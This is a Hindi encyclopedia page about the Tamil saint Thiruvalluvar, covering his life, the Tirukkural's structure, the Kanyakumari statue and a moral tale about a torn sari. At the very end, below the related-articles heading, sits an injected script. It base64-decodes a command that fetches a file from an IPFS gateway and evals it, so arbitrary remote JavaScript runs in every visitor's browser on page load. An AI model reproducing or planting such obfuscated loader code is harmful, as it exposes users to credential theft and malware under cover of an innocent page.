एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

तिरुवल्लुवर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
संत तिरुवल्लुवर
Thiruvalluvar

तिरुवल्लुवर (अंग्रेज़ी: Thiruvalluvar) दक्षिण भारत के महान् संत थे। इन्हें दक्षिण भारत का कबीर कहा जाता है। शैव, वैष्णव, बौद्ध तथा जैन सभी तिरुवल्लुवर को अपना मतावलम्बी मानते हैं, जबकि उनकी रचनाओं से ऐसा कोई भी आभास नहीं मिलता है। यह अवश्य है कि वे उस परम पिता में विश्वास रखते थे। उनका विचार था कि मनुष्य गृहस्थ रहते हुए भी परमेश्वर में आस्था के साथ एक पवित्र जीवन व्यतीत कर सकता है। सन्न्यास उन्हें निरर्थक लगा था। संत तिरुवल्लुवर ने व्यक्ति को जीने की राह दिखाते हुए छोटी-छोटी ढेरों कविताएँ लिखी थीं, इनका संकलन 'तिरुक्कुलर ग्रंथ' में किया गया है।

परिचय

महान आत्माएँ या जितने भी महान् लोग धरती पर अवतरित हुए है, वे धर्म, जाति आदि, मानव द्वारा बनाये गए बंधनों से पूर्णतः मुक्त होते हैं। कोई ठोस प्रमाण तो नहीं हैं, परन्तु भाषाई आधार पर एक महान् कवि तिरुवल्लुवर के काल का अनुमान ईसा पूर्व 30 से 200 वर्षों के बीच माना जाता है। कबीर की तरह ही इनका जन्म भी एक दलित जुलाहा परिवार में ही हुआ था। मान्यता है कि वे चेन्नई के मयिलापुर से थे, परन्तु उनका अधिकांश जीवन मदुरै में बीता, क्योंकि वहाँ पांड्य वंशी राजाओं के द्वारा तामिल साहित्य को पोषित किया जाता रहा है और उनके दरबार में सभी जाने-माने विद्वानों को प्राश्रय दिया जाता था। वहीं के दरबार में 'तिरुक्कुलर' को एक महान् ग्रन्थ के रूप में मान्यता मिली।

दक्षिण के कबीर

दक्षिण भारत के महानतम संत तिरुवल्लुवर मानवधर्म के प्रति आस्था के लिए पूरे विश्व में जाने जाते हैं। जिन जीवन मूल्यों को उन्होंने महत्व दिया, वे कबीर में भी विद्यमान थे। इस दृष्टि से कबीर को "उत्तर भारत का तिरुवल्लुवर" कहें या तिरुवल्लुवर को "दक्षिण का कबीर" कहें, एक ही बात है। शैव, वैष्णव, बौद्ध तथा जैन सभी तिरुवल्लुवर को अपना मतावलंबी मानते हैं, जबकि उनकी रचनाओं से ऐसा कोई आभास नहीं मिलता है।

तिरुक्कुलर ग्रंथ

संत तिरुवल्लुवर ने व्यक्ति को जीने की राह दिखाते हुए छोटी-छोटी ढेरों कविताएँ लिखी थीं, इनका संकलन 'तिरुक्कुलर' ग्रंथ में किया गया है। यह एक ऐसा ग्रन्थ है, जो नैतिकता का पाठ पढ़ाता है। किसी धर्म विशेष से इसका कोई सम्बन्ध नहीं है। तिरुक्कुलर न केवल तमिल भाषियों के लिए वरन् पूरे देश में श्रद्धा से पढ़ा जाता है। इसमें 'गागर में सागर' की तरह जीवन दर्शन को समेटा गया है। यह 'गीता' के बाद विश्व की सभी प्रमुख भाषाओं में सबसे अधिक अनूदित ग्रन्थ है। तिरुक्कुलर तीन खण्डों में बंटा है-

  1. 'अरम' (आचरण/सदाचार)
  2. 'परुल' (संसारिकता/संवृद्धि)
  3. 'इन्बम' (प्रेम/आनंद)

इसमें कुल 133 अध्याय हैं और हर अध्याय में 10 दोहे हैं।

प्रतिमा

तिरुवल्लुवर की प्रतिमा
Thiruvalluvar Statue in Kanyakumari

'तिरुक्कुलर' के 133 अध्यायों को ध्यान में रखते हुए कन्याकुमारी के विवेकानंद स्मारक के पास के एक छोटे चट्टानी द्वीप पर महान् कवि तिरुवल्लुवर की 133 फीट ऊंची प्रतिमा स्थापित की गयी है। यह आजकल यहाँ का प्रमुख आकर्षण बन गया है। प्रतिमा की वास्तविक ऊँचाई तो केवल 95 फीट है, परन्तु यह एक 38 फीट ऊंचे मंच पर स्थापित है। यह आधार उनकी कृति तिरुक्कुलर के प्रथम खंड सदाचार का बोधक है। यही आधार मनुष्य के लिए संवृद्धि तथा आनंद प्राप्त करने के लिए आवश्यक है। 1979 में इस स्मारक के लिए तत्कालीन प्रधानमंत्री मोरारजी देसाई द्वारा आधारशिला रखी गयी थी, परन्तु कार्य प्रारंभ न हो सका। सन 2000 में जाकर यह स्मारक जनता के लिए खोला गया। कहा जाता है कि इस प्रतिमा की कमर में जो झुकाव दर्शाया गया है, उसके लिए मूर्तिकार को बड़ी मशक्कत करनी पड़ी थी। प्रतिमा की भव्यता का अनुमान इसी से लगाया जा सकता है कि केवल चेहरा ही 19 फीट ऊंचा है।

संत तिरुवल्लुवर की धीरता

संत तिरुवल्लुवर जाति से जुलाहा थे। एक दिन वह अतीव परिश्रम से तैयार की हुई साड़ी को लेकर बिक्री के लिए बाज़ार में बैठे ही थे कि एक युवक उनके पास आया। उसे तिरुवल्लुवर की साधुता पर शंका होती थी। उसने उनकी परीक्षा लेने के विचार से उस साड़ी का मूल्य पूछा। संत ने विनीत वाणी में दो रुपया बताया। युवक ने उसे उठाकर दो टुकड़े किए और फिर उनका मूल्य पूछा। संत ने उसी निश्छल स्वर से एक-एक रुपया बताया। युवक ने फिर प्रत्येक के दो टुकड़े कर मूल्य पूछा और संत ने शांत स्वर में आठ-आठ आने बताया। युवक ने पुनः प्रत्येक के दो-दो टुकड़े कर मूल्य पूछा और संत ने धीरे, किंतु गंभीर स्वर में ही उत्तर दिया, 'चार-चार आने।' आखिर फाड़ते-फाड़ते जब वह साड़ी तार-तार हो गई, तो युवक उसका गोला बनाकर फेंकते हुए बोला 'अब इसमें रहा ही क्या है कि इसके पैसे दिए जाएँ।' संत चुप ही रहे। तब युवक ने धन का अभिमान प्रदर्शित करते हुए उन्हें दो रुपए देते हुए कहा, 'यह लो साड़ी का मूल्य!' किंतु तिरुवल्लुवर बोले- "बेटा! जब तुमने साड़ी ख़रीदी ही नहीं, तो मैं दाम भी कैसे लूँ?" अब तो युवक का उद्दंड हृदय पश्चाताप से दग्ध होने लगा। विनीत हो वह उनसे क्षमा माँगने लगा। तिरुवल्लुवर की आँखें डबडबा आयीं। वे बोले- "तुम्हारे दो रुपए देने से तो इस क्षति की भरपाई नहीं होगी? उसको धुनने और सूत बुनने में कितने लोगों का समय और श्रम लगा होगा? जब साड़ी बुनी गई, तब मेरे कुटुंबियों ने कितनी कठिनाई उठाई होगी?" युवक की आँखों से पश्चाताप के आँसू निकल पड़े। वह बोला- "मगर आपने मुझे साड़ी फाड़ने से रोका क्यों नहीं?" संत ने जवाब दिया- "रोक सकता था, मगर तब क्या तुम्हें शिक्षा देने का ऐसा अवसर मिल सकता था?"


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>